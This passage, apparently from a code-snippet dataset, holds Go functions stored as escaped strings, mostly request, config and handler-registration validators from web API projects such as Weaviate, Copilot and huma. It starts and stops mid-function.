o.ObjectsObjectsReferencesUpdateHandler == nil {\n\t\tunregistered = append(unregistered, \"objects.ObjectsReferencesUpdateHandler\")\n\t}\n\tif o.ObjectsObjectsUpdateHandler == nil {\n\t\tunregistered = append(unregistered, \"objects.ObjectsUpdateHandler\")\n\t}\n\tif o.ObjectsObjectsValidateHandler == nil {\n\t\tunregistered = append(unregistered, \"objects.ObjectsValidateHandler\")\n\t}\n\tif o.SchemaSchemaClusterStatusHandler == nil {\n\t\tunregistered = append(unregistered, \"schema.SchemaClusterStatusHandler\")\n\t}\n\tif o.SchemaSchemaDumpHandler == nil {\n\t\tunregistered = append(unregistered, \"schema.SchemaDumpHandler\")\n\t}\n\tif o.SchemaSchemaObjectsCreateHandler == nil {\n\t\tunregistered = append(unregistered, \"schema.SchemaObjectsCreateHandler\")\n\t}\n\tif o.SchemaSchemaObjectsDeleteHandler == nil {\n\t\tunregistered = append(unregistered, \"schema.SchemaObjectsDeleteHandler\")\n\t}\n\tif o.SchemaSchemaObjectsGetHandler == nil {\n\t\tunregistered = append(unregistered, \"schema.SchemaObjectsGetHandler\")\n\t}\n\tif o.SchemaSchemaObjectsPropertiesAddHandler == nil {\n\t\tunregistered = append(unregistered, \"schema.SchemaObjectsPropertiesAddHandler\")\n\t}\n\tif o.SchemaSchemaObjectsShardsGetHandler == nil {\n\t\tunregistered = append(unregistered, \"schema.SchemaObjectsShardsGetHandler\")\n\t}\n\tif o.SchemaSchemaObjectsShardsUpdateHandler == nil {\n\t\tunregistered = append(unregistered, \"schema.SchemaObjectsShardsUpdateHandler\")\n\t}\n\tif o.SchemaSchemaObjectsUpdateHandler == nil {\n\t\tunregistered = append(unregistered, \"schema.SchemaObjectsUpdateHandler\")\n\t}\n\tif o.SchemaTenantsCreateHandler == nil {\n\t\tunregistered = append(unregistered, \"schema.TenantsCreateHandler\")\n\t}\n\tif o.SchemaTenantsDeleteHandler == nil {\n\t\tunregistered = append(unregistered, \"schema.TenantsDeleteHandler\")\n\t}\n\tif o.SchemaTenantsGetHandler == nil {\n\t\tunregistered = append(unregistered, \"schema.TenantsGetHandler\")\n\t}\n\tif o.SchemaTenantsUpdateHandler == nil {\n\t\tunregistered = append(unregistered, \"schema.TenantsUpdateHandler\")\n\t}\n\tif o.WeaviateRootHandler == nil {\n\t\tunregistered = append(unregistered, \"WeaviateRootHandler\")\n\t}\n\tif o.WeaviateWellknownLivenessHandler == nil {\n\t\tunregistered = append(unregistered, \"WeaviateWellknownLivenessHandler\")\n\t}\n\tif o.WeaviateWellknownReadinessHandler == nil {\n\t\tunregistered = append(unregistered, \"WeaviateWellknownReadinessHandler\")\n\t}\n\n\tif len(unregistered) > 0 {\n\t\treturn fmt.Errorf(\"missing registration: %s\", strings.Join(unregistered, \", \"))\n\t}\n\n\treturn nil\n}", "func (v Validator) Validate(ctx context.Context, def *Definition, config map[string]any) ValidateResult {\n\tvar result ValidateResult\n\n\tconfigJSON, err := json.Marshal(config)\n\tif err != nil {\n\t\tresult.errors = append(result.errors, err)\n\t\treturn result\n\t}\n\n\tcommandExistsFunc := v.commandExists\n\tif commandExistsFunc == nil {\n\t\tcommandExistsFunc = commandExists\n\t}\n\n\t// validate that the required commands exist\n\tif def.Requirements != nil {\n\t\tfor _, command := range def.Requirements {\n\t\t\tif commandExistsFunc(command) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tresult.errors = append(result.errors, fmt.Errorf(\"%q %w\", command, ErrCommandNotInPATH))\n\t\t}\n\t}\n\n\t// validate that the config matches the json schema we have\n\tif def.Configuration != nil {\n\t\tvalErrors, err := def.Configuration.ValidateBytes(ctx, configJSON)\n\t\tif err != nil {\n\t\t\tresult.errors = append(result.errors, err)\n\t\t}\n\t\tfor _, err := range valErrors {\n\t\t\tresult.errors = append(result.errors, err)\n\t\t}\n\t}\n\n\treturn result\n}", "func getPathDocuments(p config.Config, swagger *openapi3.Swagger, allDocuments docs.Index) docs.Index {\n\n\t// Create an empty Operation we can use to judge if field is undefined.\n\tvar emptyOp *openapi3.Operation\n\tio.WriteString(os.Stdout, fmt.Sprintf(\"\\033[1m %s\\033[0m (%v paths)\\n\", \"Paths\", len(swagger.Paths)))\n\tfor endpoint, path := range swagger.Paths {\n\n\t\t// GET Operation.\n\t\tif emptyOp != path.Get {\n\t\t\t// Make sure that the current path does not have a tag we'd like to ignore.\n\t\t\tif !ignore.ItemExists(p.Ignore, getTags(path.Get)) {\n\t\t\t\t// Append the document.\n\t\t\t\tallDocuments.Documents = append(allDocuments.Documents, getDocument(endpoint, p, path.Get, \"get\"))\n\t\t\t}\n\t\t}\n\t\t// POST Operation.\n\t\tif emptyOp != path.Post {\n\t\t\t// Make sure that the current path does not have a tag we'd like to ignore.\n\t\t\tif !ignore.ItemExists(p.Ignore, getTags(path.Post)) {\n\t\t\t\t// Append the document.\n\t\t\t\tallDocuments.Documents = append(allDocuments.Documents, getDocument(endpoint, p, path.Post, \"post\"))\n\t\t\t}\n\t\t}\n\t\t// DELETE Operation.\n\t\tif emptyOp != path.Delete {\n\t\t\t// Make sure that the current path does not have a tag we'd like to ignore.\n\t\t\tif !ignore.ItemExists(p.Ignore, getTags(path.Delete)) {\n\t\t\t\t// Append the document.\n\t\t\t\tallDocuments.Documents = append(allDocuments.Documents, getDocument(endpoint, p, path.Delete, \"delete\"))\n\t\t\t}\n\t\t}\n\t\t// PATCH Operation.\n\t\tif emptyOp != path.Patch {\n\t\t\t// Make sure that the current path does not have a tag we'd like to ignore.\n\t\t\tif !ignore.ItemExists(p.Ignore, getTags(path.Patch)) {\n\t\t\t\t// Append the document.\n\t\t\t\tallDocuments.Documents = append(allDocuments.Documents, getDocument(endpoint, p, path.Patch, \"patch\"))\n\t\t\t}\n\t\t}\n\t}\n\treturn allDocuments\n}", "func (m JSONSchemaURL) Validate(formats strfmt.Registry) error {\n\treturn nil\n}", "func (t *Application_Application_Application_Endpoint) Validate(opts ...ygot.ValidationOption) error {\n\tif err := ytypes.Validate(SchemaTree[\"Application_Application_Application_Endpoint\"], t, opts...); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func GetPathsFromSwagger(doc *loads.Document, config *Config, pathPrefix string) ([]Path, error) {\n\n\tswaggerVersion := doc.Spec().Info.Version\n\tif config.SuppressAPIVersion {\n\t\tswaggerVersion = \"\"\n\t}\n\n\tspec := doc.Analyzer\n\n\tswaggerPaths := spec.AllPaths()\n\tpaths := make([]Path, len(swaggerPaths))\n\n\tpathIndex := 0\n\tfor swaggerPath, swaggerPathItem := range swaggerPaths {\n\n\t\tswaggerPath = pathPrefix + swaggerPath\n\t\toverride := config.Overrides[swaggerPath]\n\n\t\tsearchPathTemp := override.Path\n\t\tvar searchPath string\n\t\tif searchPathTemp == \"\" {\n\t\t\tsearchPath = swaggerPath\n\t\t} else {\n\t\t\tsearchPath = searchPathTemp\n\t\t}\n\t\tsearchPath = strings.TrimRight(searchPath, \"/\")\n\t\tendpoint, err := endpoints.GetEndpointInfoFromURL(searchPath, swaggerVersion) // logical path\n\t\tif err != nil {\n\t\t\treturn []Path{}, err\n\t\t}\n\t\tsegment := endpoint.URLSegments[len(endpoint.URLSegments)-1]\n\t\tname := segment.Match\n\t\tif name == \"list\" && len(endpoint.URLSegments) > 2 {\n\t\t\tsegment = endpoint.URLSegments[len(endpoint.URLSegments)-2] // 'list' is generic and usually preceded by something more descriptive\n\t\t\tname = segment.Match\n\t\t}\n\t\tif name == \"\" {\n\t\t\tname = \"{\" + segment.Name + \"}\"\n\t\t}\n\t\tpath := Path{\n\t\t\tEndpoint: &endpoint,\n\t\t\tName: name,\n\t\t\tCondensedEndpointPath: stripPathNames(searchPath),\n\t\t}\n\n\t\tgetVerb := override.GetVerb\n\t\tif getVerb == \"\" {\n\t\t\tgetVerb = \"get\"\n\t\t}\n\n\t\tswaggerPathItemRef := swaggerPathItem\n\t\tgetOperation, err := getOperationByVerb(&swaggerPathItemRef, getVerb)\n\t\tif err != nil {\n\t\t\treturn []Path{}, err\n\t\t}\n\t\tif getOperation != nil {\n\t\t\tpath.Operations.Get.Permitted = true\n\t\t\tif getVerb != \"get\" {\n\t\t\t\tpath.Operations.Get.Verb = getVerb\n\t\t\t}\n\t\t\tif override.Path == \"\" || override.RewritePath {\n\t\t\t\tpath.Operations.Get.Endpoint = path.Endpoint\n\t\t\t} else {\n\t\t\t\toverriddenEndpoint, err := endpoints.GetEndpointInfoFromURL(swaggerPath, swaggerVersion)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn []Path{}, err\n\t\t\t\t}\n\t\t\t\tpath.Operations.Get.Endpoint = &overriddenEndpoint\n\t\t\t}\n\t\t}\n\t\tif swaggerPathItem.Delete != nil && getVerb != \"delete\" {\n\t\t\tpath.Operations.Delete.Permitted = true\n\t\t\tpath.Operations.Delete.Endpoint = path.Endpoint\n\t\t}\n\t\tif override.DeletePath != \"\" {\n\t\t\tpath.Operations.Delete.Permitted = true\n\t\t\tpath.Operations.Delete.Endpoint = endpoints.MustGetEndpointInfoFromURL(override.DeletePath, path.Endpoint.APIVersion)\n\t\t}\n\t\tif swaggerPathItem.Patch != nil && getVerb != \"patch\" {\n\t\t\tpath.Operations.Patch.Permitted = true\n\t\t\tpath.Operations.Patch.Endpoint = path.Endpoint\n\t\t}\n\t\tif swaggerPathItem.Post != nil && getVerb != \"post\" {\n\t\t\tpath.Operations.Post.Permitted = true\n\t\t\tpath.Operations.Post.Endpoint = path.Endpoint\n\t\t}\n\t\tif swaggerPathItem.Put != nil && getVerb != \"put\" {\n\t\t\tpath.Operations.Put.Permitted = true\n\t\t\tpath.Operations.Put.Endpoint = path.Endpoint\n\t\t}\n\t\tif override.PutPath != \"\" {\n\t\t\tpath.Operations.Put.Permitted = true\n\t\t\tpath.Operations.Put.Endpoint = endpoints.MustGetEndpointInfoFromURL(override.PutPath, path.Endpoint.APIVersion)\n\t\t}\n\n\t\tpaths[pathIndex] = path\n\t\tpathIndex++\n\t}\n\n\treturn paths, nil\n}", "func (o *APICheck) Validate() error {\n\n\terrors := elemental.Errors{}\n\trequiredErrors := elemental.Errors{}\n\n\tif err := elemental.ValidateRequiredString(\"namespace\", o.Namespace); err != nil {\n\t\trequiredErrors = requiredErrors.Append(err)\n\t}\n\n\tif err := elemental.ValidatePattern(\"namespace\", o.Namespace, `^/[a-zA-Z0-9-_/]*$`, `must only contain alpha numerical characters, '-' or '_' and start with '/'`, true); err != nil {\n\t\terrors = errors.Append(err)\n\t}\n\n\tif err := elemental.ValidateRequiredString(\"operation\", string(o.Operation)); err != nil {\n\t\trequiredErrors = requiredErrors.Append(err)\n\t}\n\n\tif err := elemental.ValidateStringInList(\"operation\", string(o.Operation), []string{\"Create\", \"Delete\", \"Info\", \"Patch\", \"Retrieve\", \"RetrieveMany\", \"Update\"}, false); err != nil {\n\t\terrors = errors.Append(err)\n\t}\n\n\tif err := elemental.ValidateRequiredExternal(\"targetIdentities\", o.TargetIdentities); err != nil {\n\t\trequiredErrors = requiredErrors.Append(err)\n\t}\n\n\tif len(requiredErrors) > 0 {\n\t\treturn requiredErrors\n\t}\n\n\tif len(errors) > 0 {\n\t\treturn errors\n\t}\n\n\treturn nil\n}", "func (o *ShortenerAPI) Validate() error {\n\tvar unregistered []string\n\n\tif o.JSONConsumer == nil {\n\t\tunregistered = append(unregistered, \"JSONConsumer\")\n\t}\n\n\tif o.JSONProducer == nil {\n\t\tunregistered = append(unregistered, \"JSONProducer\")\n\t}\n\n\tif o.BasicAuthAuth == nil {\n\t\tunregistered = append(unregistered, \"BasicAuthAuth\")\n\t}\n\n\tif o.LinkCreateShortLinkHandler == nil {\n\t\tunregistered = append(unregistered, \"link.CreateShortLinkHandler\")\n\t}\n\n\tif o.UserCreateUserHandler == nil {\n\t\tunregistered = append(unregistered, \"user.CreateUserHandler\")\n\t}\n\n\tif o.StatisticGetCurrentUserHandler == nil {\n\t\tunregistered = append(unregistered, \"statistic.GetCurrentUserHandler\")\n\t}\n\n\tif o.LinkGetLinkHandler == nil {\n\t\tunregistered = append(unregistered, \"link.GetLinkHandler\")\n\t}\n\n\tif o.StatisticGetLinkInfoHandler == nil {\n\t\tunregistered = append(unregistered, \"statistic.GetLinkInfoHandler\")\n\t}\n\n\tif o.LinkGetLinksHandler == nil {\n\t\tunregistered = append(unregistered, \"link.GetLinksHandler\")\n\t}\n\n\tif o.StatisticGetReferersHandler == nil {\n\t\tunregistered = append(unregistered, \"statistic.GetReferersHandler\")\n\t}\n\n\tif o.UserLoginUserHandler == nil {\n\t\tunregistered = append(unregistered, \"user.LoginUserHandler\")\n\t}\n\n\tif o.UserLogoutUserHandler == nil {\n\t\tunregistered = append(unregistered, \"user.LogoutUserHandler\")\n\t}\n\n\tif o.LinkRemoveLinkHandler == nil {\n\t\tunregistered = append(unregistered, \"link.RemoveLinkHandler\")\n\t}\n\n\tif len(unregistered) > 0 {\n\t\treturn fmt.Errorf(\"missing registration: %s\", strings.Join(unregistered, \", \"))\n\t}\n\n\treturn nil\n}", "func TestCmd_Validate_Issue1238(t *testing.T) {\n\tlog.SetOutput(io.Discard)\n\tdefer log.SetOutput(os.Stdout)\n\tv := ValidateSpec{}\n\tbase := filepath.FromSlash(\"../../../\")\n\tspecDoc := filepath.Join(base, \"fixtures\", \"bugs\", \"1238\", \"swagger.yaml\")\n\tresult := v.Execute([]string{specDoc})\n\tif assert.Error(t, result) {\n\t\t/*\n\t\t\tThe swagger spec at \"../../../fixtures/bugs/1238/swagger.yaml\" is invalid against swagger specification 2.0. see errors :\n\t\t\t\t- definitions.RRSets in body must be of type array\n\t\t*/\n\t\tassert.Contains(t, result.Error(), \"is invalid against swagger specification 2.0\")\n\t\tassert.Contains(t, result.Error(), \"definitions.RRSets in body must be of type array\")\n\t}\n}", "func ValidateVersion(h http.Handler) http.Handler {\n\tfn := func(w http.ResponseWriter, r *http.Request) {\n\t\turlPart := strings.Split(r.URL.Path, \"/\")\n\n\t\t// look for version in available version, or other endpoints\n\t\tfor _, ver := range jsonObject.Versions {\n\t\t\tif ver == urlPart[1] || r.URL.Path == \"/\" {\n\t\t\t\t// pass along\n\t\t\t\th.ServeHTTP(w, r)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\n\t\t// parse errror\n\t\tErrorHandler(w, r, http.StatusNotFound)\n\t\treturn\n\t}\n\treturn http.HandlerFunc(fn)\n}", "func (r *DownloadDiffRequest) Validate() error {\n\tif err := requireProject(r.GetProject()); err != nil {\n\t\treturn err\n\t}\n\tif err := requireCommittish(\"committish\", r.GetCommittish()); err != nil {\n\t\treturn err\n\t}\n\tif base := r.GetBase(); base != \"\" {\n\t\tif err := requireCommittish(\"base\", base); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\tif strings.HasPrefix(r.Path, \"/\") {\n\t\treturn errors.New(\"path must not start with /\")\n\t}\n\treturn nil\n}", "func (b BackendService) validate() error {\n\tvar err error\n\tif err = b.DeployConfig.validate(); err != nil {\n\t\treturn fmt.Errorf(`validate \"deployment\": %w`, err)\n\t}\n\tif err = b.BackendServiceConfig.validate(); err != nil {\n\t\treturn err\n\t}\n\tif err = b.Workload.validate(); err != nil {\n\t\treturn err\n\t}\n\tif err = validateTargetContainer(validateTargetContainerOpts{\n\t\tmainContainerName: aws.StringValue(b.Name),\n\t\tmainContainerPort: b.ImageConfig.Port,\n\t\ttargetContainer: b.HTTP.Main.TargetContainer,\n\t\tsidecarConfig: b.Sidecars,\n\t}); err != nil {\n\t\treturn fmt.Errorf(`validate load balancer target for \"http\": %w`, err)\n\t}\n\tfor idx, rule := range b.HTTP.AdditionalRoutingRules {\n\t\tif err = validateTargetContainer(validateTargetContainerOpts{\n\t\t\tmainContainerName: aws.StringValue(b.Name),\n\t\t\tmainContainerPort: b.ImageConfig.Port,\n\t\t\ttargetContainer: rule.TargetContainer,\n\t\t\tsidecarConfig: b.Sidecars,\n\t\t}); err != nil {\n\t\t\treturn fmt.Errorf(`validate load balancer target for \"http.additional_rules[%d]\": %w`, idx, err)\n\t\t}\n\t}\n\tif err = validateContainerDeps(validateDependenciesOpts{\n\t\tsidecarConfig: b.Sidecars,\n\t\timageConfig: b.ImageConfig.Image,\n\t\tmainContainerName: aws.StringValue(b.Name),\n\t\tlogging: b.Logging,\n\t}); err != nil {\n\t\treturn fmt.Errorf(\"validate container dependencies: %w\", err)\n\t}\n\tif err = validateExposedPorts(validateExposedPortsOpts{\n\t\tmainContainerName: aws.StringValue(b.Name),\n\t\tmainContainerPort: b.ImageConfig.Port,\n\t\tsidecarConfig: b.Sidecars,\n\t\talb: &b.HTTP,\n\t}); err != nil {\n\t\treturn fmt.Errorf(\"validate unique exposed ports: %w\", err)\n\t}\n\treturn nil\n}", "func (m *Mux) validate(rw http.ResponseWriter, req *http.Request) bool {\n\tplen := len(req.URL.Path)\n\tif plen > 1 && req.URL.Path[plen-1:] == \"/\" {\n\t\tcleanURL(&req.URL.Path)\n\t\trw.Header().Set(\"Location\", req.URL.Path)\n\t\trw.WriteHeader(http.StatusFound)\n\t}\n\t// Retry to find a route that match\n\treturn m.parse(rw, req)\n}", "func Register[I, O any](api API, op Operation, handler func(context.Context, *I) (*O, error)) {\n\toapi := api.OpenAPI()\n\tregistry := oapi.Components.Schemas\n\n\tif op.Method == \"\" || op.Path == \"\" {\n\t\tpanic(\"method and path must be specified in operation\")\n\t}\n\n\tinputType := reflect.TypeOf((*I)(nil)).Elem()\n\tif inputType.Kind() != reflect.Struct {\n\t\tpanic(\"input must be a struct\")\n\t}\n\tinputParams := findParams(registry, &op, inputType)\n\tinputBodyIndex := -1\n\tvar inSchema *Schema\n\tif f, ok := inputType.FieldByName(\"Body\"); ok {\n\t\tinputBodyIndex = f.Index[0]\n\t\tinSchema = registry.Schema(f.Type, true, getHint(inputType, f.Name, op.OperationID+\"Request\"))\n\t\top.RequestBody = &RequestBody{\n\t\t\tContent: map[string]*MediaType{\n\t\t\t\t\"application/json\": {\n\t\t\t\t\tSchema: inSchema,\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\tif op.BodyReadTimeout == 0 {\n\t\t\t// 5 second default\n\t\t\top.BodyReadTimeout = 5 * time.Second\n\t\t}\n\n\t\tif op.MaxBodyBytes == 0 {\n\t\t\t// 1 MB default\n\t\t\top.MaxBodyBytes = 1024 * 1024\n\t\t}\n\t}\n\trawBodyIndex := -1\n\tif f, ok := inputType.FieldByName(\"RawBody\"); ok {\n\t\trawBodyIndex = f.Index[0]\n\t}\n\tresolvers := findResolvers(resolverType, inputType)\n\tdefaults := findDefaults(inputType)\n\n\tif op.Responses == nil {\n\t\top.Responses = map[string]*Response{}\n\t}\n\toutputType := reflect.TypeOf((*O)(nil)).Elem()\n\tif outputType.Kind() != reflect.Struct {\n\t\tpanic(\"output must be a struct\")\n\t}\n\n\toutStatusIndex := -1\n\tif f, ok := outputType.FieldByName(\"Status\"); ok {\n\t\toutStatusIndex = f.Index[0]\n\t\tif f.Type.Kind() != reflect.Int {\n\t\t\tpanic(\"status field must be an int\")\n\t\t}\n\t\t// TODO: enum tag?\n\t\t// TODO: register each of the possible responses with the right model\n\t\t// and headers down below.\n\t}\n\toutHeaders := findHeaders(outputType)\n\toutBodyIndex := -1\n\toutBodyFunc := false\n\tif f, ok := outputType.FieldByName(\"Body\"); ok {\n\t\toutBodyIndex = f.Index[0]\n\t\tif f.Type.Kind() == reflect.Func {\n\t\t\toutBodyFunc = true\n\n\t\t\tif f.Type != bodyCallbackType {\n\t\t\t\tpanic(\"body field must be a function with signature func(huma.Context)\")\n\t\t\t}\n\t\t}\n\t\tstatus := op.DefaultStatus\n\t\tif status == 0 {\n\t\t\tstatus = http.StatusOK\n\t\t}\n\t\tstatusStr := fmt.Sprintf(\"%d\", status)\n\t\tif op.Responses[statusStr] == nil {\n\t\t\top.Responses[statusStr] = &Response{}\n\t\t}\n\t\tif op.Responses[statusStr].Description == \"\" {\n\t\t\top.Responses[statusStr].Description = http.StatusText(status)\n\t\t}\n\t\tif op.Responses[statusStr].Headers == nil {\n\t\t\top.Responses[statusStr].Headers = map[string]*Param{}\n\t\t}\n\t\tif !outBodyFunc {\n\t\t\toutSchema := registry.Schema(f.Type, true, getHint(outputType, f.Name, op.OperationID+\"Response\"))\n\t\t\tif op.Responses[statusStr].Content == nil {\n\t\t\t\top.Responses[statusStr].Content = map[string]*MediaType{}\n\t\t\t}\n\t\t\tif _, ok := op.Responses[statusStr].Content[\"application/json\"]; !ok {\n\t\t\t\top.Responses[statusStr].Content[\"application/json\"] = &MediaType{}\n\t\t\t}\n\t\t\top.Responses[statusStr].Content[\"application/json\"].Schema = outSchema\n\t\t}\n\t}\n\tif op.DefaultStatus == 0 {\n\t\tif outBodyIndex != -1 {\n\t\t\top.DefaultStatus = http.StatusOK\n\t\t} else {\n\t\t\top.DefaultStatus = http.StatusNoContent\n\t\t}\n\t}\n\tdefaultStatusStr := fmt.Sprintf(\"%d\", op.DefaultStatus)\n\tif op.Responses[defaultStatusStr] == nil {\n\t\top.Responses[defaultStatusStr] = &Response{\n\t\t\tDescription: http.StatusText(op.DefaultStatus),\n\t\t}\n\t}\n\tfor _, entry := range outHeaders.Paths {\n\t\t// Document the header's name and type.\n\t\tif op.Responses[defaultStatusStr].Headers == nil {\n\t\t\top.Responses[defaultStatusStr].Headers = map[string]*Param{}\n\t\t}\n\t\tv := entry.Value\n\t\top.Responses[defaultStatusStr].Headers[v.Name] = &Header{\n\t\t\t// We need to generate the schema from the field to get validation info\n\t\t\t// like min/max and enums. Useful to let the client know possible values.\n\t\t\tSchema: SchemaFromField(registry, outputType, v.Field),\n\t\t}\n\t}\n\n\tif len(op.Errors) > 0 && (len(inputParams.Paths) > 0 || inputBodyIndex >= -1) {\n\t\top.Errors = append(op.Errors, http.StatusUnprocessableEntity)\n\t}\n\tif len(op.Errors) > 0 {\n\t\top.Errors = append(op.Errors, http.StatusInternalServerError)\n\t}\n\n\texampleErr := NewError(0, \"\")\n\terrContentType := \"application/json\"\n\tif ctf, ok := exampleErr.(ContentTypeFilter); ok {\n\t\terrContentType = ctf.ContentType(errContentType)\n\t}\n\terrType := reflect.TypeOf(exampleErr)\n\terrSchema := registry.Schema(errType, true, getHint(errType, \"\", \"Error\"))\n\tfor _, code := range op.Errors {\n\t\top.Responses[fmt.Sprintf(\"%d\", code)] = &Response{\n\t\t\tDescription: http.StatusText(code),\n\t\t\tContent: map[string]*MediaType{\n\t\t\t\terrContentType: {\n\t\t\t\t\tSchema: errSchema,\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\t}\n\tif len(op.Responses) <= 1 && len(op.Errors) == 0 {\n\t\t// No errors are defined, so set a default response.\n\t\top.Responses[\"default\"] = &Response{\n\t\t\tDescription: \"Error\",\n\t\t\tContent: map[string]*MediaType{\n\t\t\t\terrContentType: {\n\t\t\t\t\tSchema: errSchema,\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\t}\n\n\tif !op.Hidden {\n\t\toapi.AddOperation(&op)\n\t}\n\n\ta := api.Adapter()\n\n\ta.Handle(&op, func(ctx Context) {\n\t\tvar input I\n\n\t\t// Get the validation dependencies from the shared pool.\n\t\tdeps := validatePool.Get().(*validateDeps)\n\t\tdefer func() {\n\t\t\tdeps.pb.Reset()\n\t\t\tdeps.res.Reset()\n\t\t\tvalidatePool.Put(deps)\n\t\t}()\n\t\tpb := deps.pb\n\t\tres := deps.res\n\n\t\terrStatus := http.StatusUnprocessableEntity\n\n\t\tv := reflect.ValueOf(&input).Elem()\n\t\tinputParams.Every(v, func(f reflect.Value, p *paramFieldInfo) {\n\t\t\tvar value string\n\t\t\tswitch p.Loc {\n\t\t\tcase \"path\":\n\t\t\t\tvalue = ctx.Param(p.Name)\n\t\t\tcase \"query\":\n\t\t\t\tvalue = ctx.Query(p.Name)\n\t\t\tcase \"header\":\n\t\t\t\tvalue = ctx.Header(p.Name)\n\t\t\t}\n\n\t\t\tpb.Reset()\n\t\t\tpb.Push(p.Loc)\n\t\t\tpb.Push(p.Name)\n\n\t\t\tif value == \"\" && p.Default != \"\" {\n\t\t\t\tvalue = p.Default\n\t\t\t}\n\n\t\t\tif p.Loc == \"path\" && value == \"\" {\n\t\t\t\t// Path params are always required.\n\t\t\t\tres.Add(pb, \"\", \"required path parameter is missing\")\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tif value != \"\" {\n\t\t\t\tvar pv any\n\n\t\t\t\tswitch p.Type.Kind() {\n\t\t\t\tcase reflect.String:\n\t\t\t\t\tf.SetString(value)\n\t\t\t\t\tpv = value\n\t\t\t\tcase reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:\n\t\t\t\t\tv, err := strconv.ParseInt(value, 10, 64)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tres.Add(pb, value, \"invalid integer\")\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t\tf.SetInt(v)\n\t\t\t\t\tpv = v\n\t\t\t\tcase reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64:\n\t\t\t\t\tv, err := strconv.ParseUint(value, 10, 64)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tres.Add(pb, value, \"invalid integer\")\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t\tf.SetUint(v)\n\t\t\t\t\tpv = v\n\t\t\t\tcase reflect.Float32, reflect.Float64:\n\t\t\t\t\tv, err := strconv.ParseFloat(value, 64)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tres.Add(pb, value, \"invalid float\")\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t\tf.SetFloat(v)\n\t\t\t\t\tpv = v\n\t\t\t\tcase reflect.Bool:\n\t\t\t\t\tv, err := strconv.ParseBool(value)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tres.Add(pb, value, \"invalid boolean\")\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t\tf.SetBool(v)\n\t\t\t\t\tpv = v\n\t\t\t\tdefault:\n\t\t\t\t\t// Special case: list of strings\n\t\t\t\t\tif f.Type().Kind() == reflect.Slice && f.Type().Elem().Kind() == reflect.String {\n\t\t\t\t\t\tvalues := strings.Split(value, \",\")\n\t\t\t\t\t\tf.Set(reflect.ValueOf(values))\n\t\t\t\t\t\tpv = values\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\n\t\t\t\t\t// Special case: time.Time\n\t\t\t\t\tif f.Type() == timeType {\n\t\t\t\t\t\ttimeFormat := time.RFC3339Nano\n\t\t\t\t\t\tif p.Loc == \"header\" {\n\t\t\t\t\t\t\ttimeFormat = http.TimeFormat\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif p.TimeFormat != \"\" {\n\t\t\t\t\t\t\ttimeFormat = p.TimeFormat\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tt, err := time.Parse(timeFormat, value)\n\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\tres.Add(pb, value, \"invalid time\")\n\t\t\t\t\t\t\treturn\n\t\t\t\t\t\t}\n\t\t\t\t\t\tf.Set(reflect.ValueOf(t))\n\t\t\t\t\t\tpv = t\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\n\t\t\t\t\tpanic(\"unsupported param type \" + p.Type.String())\n\t\t\t\t}\n\n\t\t\t\tif !op.SkipValidateParams {\n\t\t\t\t\tValidate(oapi.Components.Schemas, p.Schema, pb, ModeWriteToServer, pv, res)\n\t\t\t\t}\n\t\t\t}\n\t\t})\n\n\t\t// Read input body if defined.\n\t\tif inputBodyIndex != -1 {\n\t\t\tif op.BodyReadTimeout > 0 {\n\t\t\t\tctx.SetReadDeadline(time.Now().Add(op.BodyReadTimeout))\n\t\t\t} else if op.BodyReadTimeout < 0 {\n\t\t\t\t// Disable any server-wide deadline.\n\t\t\t\tctx.SetReadDeadline(time.Time{})\n\t\t\t}\n\n\t\t\tbuf := bufPool.Get().(*bytes.Buffer)\n\t\t\treader := ctx.BodyReader()\n\t\t\tif closer, ok := reader.(io.Closer); ok {\n\t\t\t\tdefer closer.Close()\n\t\t\t}\n\t\t\tif op.MaxBodyBytes > 0 {\n\t\t\t\treader = io.LimitReader(reader, op.MaxBodyBytes)\n\t\t\t}\n\t\t\tcount, err := io.Copy(buf, reader)\n\t\t\tif op.MaxBodyBytes > 0 {\n\t\t\t\tif count == op.MaxBodyBytes {\n\t\t\t\t\tbuf.Reset()\n\t\t\t\t\tbufPool.Put(buf)\n\t\t\t\t\tWriteErr(api, ctx, http.StatusRequestEntityTooLarge, fmt.Sprintf(\"request body is too large limit=%d bytes\", op.MaxBodyBytes), res.Errors...)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}\n\t\t\tif err != nil {\n\t\t\t\tbuf.Reset()\n\t\t\t\tbufPool.Put(buf)\n\n\t\t\t\tif e, ok := err.(net.Error); ok && e.Timeout() {\n\t\t\t\t\tWriteErr(api, ctx, http.StatusRequestTimeout, \"request body read timeout\", res.Errors...)\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\tWriteErr(api, ctx, http.StatusInternalServerError, \"cannot read request body\", err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tbody := buf.Bytes()\n\n\t\t\tif rawBodyIndex != -1 {\n\t\t\t\tf := v.Field(rawBodyIndex)\n\t\t\t\tf.SetBytes(body)\n\t\t\t}\n\n\t\t\tif len(body) == 0 {\n\t\t\t\tkind := v.Field(inputBodyIndex).Kind()\n\t\t\t\tif kind != reflect.Ptr && kind != reflect.Interface 